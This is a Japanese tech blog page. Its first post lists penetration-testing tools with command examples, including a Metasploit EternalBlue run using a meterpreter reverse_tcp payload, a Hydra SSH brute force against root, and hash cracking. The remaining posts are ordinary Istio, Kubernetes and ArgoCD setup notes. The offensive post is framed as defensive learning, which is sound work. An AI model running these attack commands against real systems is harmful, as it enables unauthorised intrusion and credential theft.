2025年8月19日火曜日

ハッキングツール一覧(ホワイトハッカー編)

 1. ポート・ネットワークスキャン系

  • Nmap:標準。ポート・サービス検出・OS推定まで。

    # 単純なポートスキャン

    nmap 192.168.1.10


    # 開いているポートとサービスを詳細にスキャン

    nmap -sV -O 192.168.1.10


    # 複数ホストをスキャン

    nmap -sV 192.168.1.1-254


  • RustScan:Nmapより速くスキャンして、その結果をNmapに渡せる。

    # 1-65535ポートを高速スキャンしてNmapで詳細情報を取得

    rustscan -a 192.168.1.10 --ulimit 5000 -- -A


  • Masscan:超高速、インターネット全体もスキャン可能。
    → イメージ:攻撃者はまず「どこに何が開いてるか」を確認。

    # 80番ポートをスキャン

    masscan 192.168.0.0/16 -p80 --rate=1000


2. 脆弱性検索・Exploit系

  • Metasploit:ペイロード作成・攻撃実行・脆弱性検証。

    # 80番ポートをスキャン

    msfconsole

    # 使用するモジュール選択

    use exploit/windows/smb/ms17_010_eternalblue

    # ターゲット設定

    set RHOST 192.168.1.10

    set RPORT 445

    # ペイロード設定

    set PAYLOAD windows/meterpreter/reverse_tcp

    set LHOST 192.168.1.5

    run


  • SearchSploit:Exploit-DB検索。ローカルでオフライン利用可能。

    # "Apache Struts" の脆弱性検索

    searchsploit Apache Struts


    # ローカルコピーを利用

    searchsploit -m exploits/linux/remote/12345.py


  • ExploitDB / PacketStorm:公開されている攻撃コード・情報サイト。
    → ポイント:攻撃方法を知り、防御策に活かす。


3. ウェブアプリ列挙・総当たり系

  • Gobuster:ディレクトリ・ファイル・サブドメイン列挙。

    # ディレクトリ列挙

    gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt


    # サブドメイン列挙

    gobuster dns -d example.com -w subdomains.txt


  • Dirb / Dirbuster:古典的ディレクトリ総当たり。

    dirb http://example.com /usr/share/wordlists/dirb/common.txt


  • WFuzz:フォームやパラメータへのブルートフォース。
    → ポイント:攻撃者が「隠しページや管理画面」を探す手順。

    # ユーザーIDパラメータをブルートフォース

    wfuzz -c -z file,usernames.txt --hc 404 http://example.com/login?user=FUZZ



4. パスワード攻撃・認証突破系

  • Hydra:多プロトコル対応。ログインブルートフォース。

    # SSHログイン試行

    hydra -l root -P passwords.txt ssh://192.168.1.10


  • John the Ripper:ハッシュ解析、パスワード強度チェック。

    # ハッシュファイル解析

    john --wordlist=rockyou.txt hash.txt


  • Hashcat:GPU対応で超高速ハッシュ解析。
    → ポイント:パスワードの弱さがどれだけ危険か体感できる。

    hashcat -m 0 -a 0 hash.txt rockyou.txt


5. 監視・検知系(防御を学ぶため)

  • Snort / Suricata:IDS/IPS。リアルタイムで攻撃検知。

    # Snortでパケット監視

    snort -A console -c /etc/snort/snort.conf -i eth0


  • OSSEC / Wazuh:ログ監視・侵入検知。

    # ログ監視設定(例)

    ossec-control start


  • fail2ban:ログ解析して自動ブロック。
    → ポイント:攻撃手法を知ることで、防御策がより現実的になる。

    # SSHログイン失敗でIPをブロック

    sudo fail2ban-client status sshd


    まとめ

    • 攻撃系ツールは「脆弱性理解」と「防御策の検証」に役立つ。

    • 防御系ツールは「攻撃を知ることでより実践的な対策が取れる」



2025年3月23日日曜日

istio ingress gateway(指定したEnvoyプロキシが接続しているクラスターの情報表示)

指定した Envoy プロキシが接続しているクラスターの情報を表示しています。
出力からは、Envoy プロキシがどのサービスに対して接続設定を持っているか
またはどのサービスとの通信が行われているかを確認できます。

[出力の説明]
SERVICE FQDN
接続先サービスのFQDN(完全修飾ドメイン名)。

PORT
接続先サービスがリッスンしているポート番号。

SUBSET
サービスのサブセット(指定されている場合)。

DIRECTION
通信の方向
  - outbound は、プロキシが外向きに送信するトラフィック
  - inbound はプロキシが受信するトラフィック

TYPE
クラスターのタイプ
EDS (Endpoint Discovery Service)
  • 意味: EDSは、サービスのエンドポイント情報を動的に管理するためのサービスです。EDSタイプのクラスターは、サービスメッシュ内のエンドポイントが動的に変化する場合に使用されます。

  • 用途: 通常、Istio や Envoy が管理するクラスターは、エンドポイントのリストが動的に変更されるため、エンドポイントディスカバリ(エンドポイントの追加や削除)が必要です。例えば、Pod がスケールイン・スケールアウトされる場合、EDS クラスターはそれに合わせてエンドポイントのリストを更新します。

STATIC

  • 意味STATICタイプは、静的に設定されたクラスターです。通常、固定のIPアドレスやホスト名に基づいたエンドポイントを指し、動的なエンドポイント変更はありません。

  • 用途: 静的なサービス(例えば、外部のサービスや一部の特定のリソース)への接続を指定する際に使用されます。例えば、Prometheus やログ収集用の静的な接続などがこれに該当します。





以下、コマンドを投入してみる。
istioctl proxy-config clusters istio-ingressgateway-587f957f4f-p8hhj -n istio-system


Istioの診断ツール( istioctl proxy-status)

 Envoyの状態を簡単に確認するためのコマンドです。このコマンドで、Envoyがクライアントとサーバー間の通信を適切に処理しているかを確認できます

このコマンドは、各Envoyプロキシがどのように接続されているかを示すステータス情報を提供します。例えば、SYNCED 状態でない場合は、Envoyプロキシが最新の設定を取得していない可能性があります。



以下のコマンドを投入
istioctl proxy-status











istio ingress gateway(envoyアクセスログを出力してみる)

istio ingress gateway経由で、該当のPod(nginx)にアクセスが出来ているのか
把握したいので、istio ingress gateway(Envoy)に対して、出力されるログの設定を行ってみる

1)EnvoyFilterのマニフェストを作成して、デプロイを実施する
apiVersion: networking.istio.io/v1alpha3
kind: EnvoyFilter
metadata:
name: ingressgateway-access-log
namespace: istio-system
spec:
configPatches:
- applyTo: NETWORK_FILTER
match:
listener:
filterChain:
filter:
name: envoy.filters.network.http_connection_manager
patch:
operation: MERGE
value:
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
access_log:
- name: envoy.access_loggers.stdout
typed_config:
"@type": type.googleapis.com/envoy.extensions.access_loggers.stream.v3.StdoutAccessLog
log_format:
json_format:
START_TIME: "%START_TIME%"
METHOD: "%REQ(:METHOD)%"
PATH: "%REQ(X-ENVOY-ORIGINAL-PATH?:PATH)%"
PROTOCOL: "%PROTOCOL%"
RESPONSE_CODE: "%RESPONSE_CODE%"
BYTES_RECEIVED: "%BYTES_RECEIVED%"
BYTES_SENT: "%BYTES_SENT%"
USER_AGENT: "%REQ(USER-AGENT)%"
UPSTREAM_HOST: "%UPSTREAM_HOST%"
UPSTREAM_CLUSTER: "%UPSTREAM_CLUSTER%"
DOWNSTREAM_LOCAL_ADDRESS: "%DOWNSTREAM_LOCAL_ADDRESS%"
DOWNSTREAM_REMOTE_ADDRESS: "%DOWNSTREAM_REMOTE_ADDRESS%"
workloadSelector:
labels:
app: istio-ingressgateway


2)istio ingress gateway(Envoy)にログインして、curlコマンドを実施
例:10.106.197.8は、istio ingress gatewayのLBのアドレスになる














3)istio ingress gateway(Envoy)のログを確認してみる
kubectl -n istio-system logs -l app=istio-ingressgateway -c istio-proxy











2025年3月16日日曜日

isito ingress gateway(Helm編)

参照先:



CRDのインストールが失敗した場合用:

curl -L https://istio.io/downloadIstio | sh -

cd istio-1.25.0

export PATH=$PWD/bin:$PATH

istioctl install --set profile=default -y



CRD&istio base:
helm install istio-base istio/base -n istio-system --set defaultRevision=default --create-namespace




istiod:
helm install istiod istio/istiod -n istio-system --wait




ingressgateway:(内部用):

helm install istio-ingressgateway istio/gateway -n istio-system --wait






egressgateway:(外部用):

helm install istio-egressgateway istio/gateway -n istio-system --set gateways.istio-egressgateway.enabled=true



2025年3月15日土曜日

istio ingress gateway install(再)


以下、導入手順:
curl -L https://istio.io/downloadIstio | sh -
cd istio-1.25.0
export PATH=$PWD/bin:$PATH
istioctl install -set profile=default


ingress gatewayが入っていることを確認:







selecortのapp=istio-ingressgatewayまたは
istio=ingressgatewayを以下の
spec.selector:に記載すること
(今回は、app=istio-ingressgatewayにする





ingress gatewayのマニフェストを作成:
apiVersion: networking.istio.io/v1beta1
kind: Gateway
metadata:
name: nginx-gateway
namespace: default
spec:
selector:
app: istio-ingressgateway # Istio Ingress Gateway のデフォルトラベル
servers:
- port:
number: 80
name: http
protocol: HTTP
hosts:
- "*"
---
apiVersion: networking.istio.io/v1beta1
kind: VirtualService
metadata:
name: nginx-vs
namespace: default
spec:
hosts:
- "*"
gateways:
- nginx-gateway
http:
- match:
- uri:
prefix: / # nginx.default.svc.cluster.local<----完全修飾サービス名にするアクセスできず。
route:
- destination:
host: nginx
port:
number: 80
---
# nginx Deployment と Service の作成
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx
namespace: default
spec:
replicas: 1
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- name: nginx
image: nginx:latest
ports:
- containerPort: 80
resources:
limits:
memory: "512Mi" # コンテナが使用できる最大メモリ
cpu: "500m" # コンテナが使用できる最大CPU
requests:
memory: "256Mi" # コンテナに最低限必要なメモリ
cpu: "250m" # コンテナに最低限必要なCPU
---
apiVersion: v1
kind: Service
metadata:
name: nginx
namespace: default
spec:
ports:
- port: 80
targetPort: 80
selector:
app: nginx

istio gatewayの確認コマンド

以下のコマンドになる。(kubectl get gateway -Aではないからね)
kubectl get gateway.networking.istio.io -A


2025年2月23日日曜日

デバッグログを表示させるのは?(k8s)

以下のオプションでデバッグログが見れる 

kubectl -v=9 get pod -n redis



k8s便利アイテム

[コマンドでログをぱっと見たい時に便利] 

インストール方法:

brew install stern

使い方:
stern [pod名]

[namespaceを簡単に切り替えられるコマンド] 
インストール方法:
brew install kubens
使い方:
kubens [namespaceを記載]


[contextを簡単に切り替えられるコマンド]
インストール方法:
brew install kubectx
使い方:
kubectxと入力して、該当のcontextを選択

kubectlと入力するのが省略したい時に便利
alias k='kubectl'





ArgoCD(multi build)

nginx2つ作成してリポジトリにpushします


 











GitHubでArgoCD用のトークンを発行します。

   ->今回は、classicで作成しました。

















ArgoCDにログインします。

Settings > Repositoriesを選択

























Choose your connection method: VIA HTTPSを選択

Type: gitを選択

Name: 名前を記載(なんでも良いです)

Project: default(適当に選択出来た物を選んだ)

Repository URL: Githubのリポジトリを記載

UserName:   githubのユーザ名

Password:    上記、githubで発行したトークンを記載


上記、記載ができたらCONNECTを押す















ApplicationからNEW APPを押す











Application Name : 分かりやすい名前に

Proiect Namel:選択出来た物を選びました。

SYNC POLICY: Automatic

         ->PRUNE RESORCES

Repository URL: 先ほどのgithubのリポジトリを選択

Revision:HEAD

Path: .  


Cluster URL: 選択出来た物を選ぶ

Namespace:  デプロイ先のNamespaceを記載


DIRECTORY RECURSE: チェックを入れる(入れないと、デプロイ出来ませんでした)


上記、記載ができたらCREATEを押す
































実際にデプロイすると、以下のようになります。






ArgoCD側の様子:








ハッキングツール一覧(ホワイトハッカー編)

  1. ポート・ネットワークスキャン系 Nmap :標準。ポート・サービス検出・OS推定まで。 # 単純なポートスキャン nmap 192.168.1.10 # 開いているポートとサービスを詳細にスキャン nmap -sV -O 192.168.1.10 # 複数ホストをスキャ...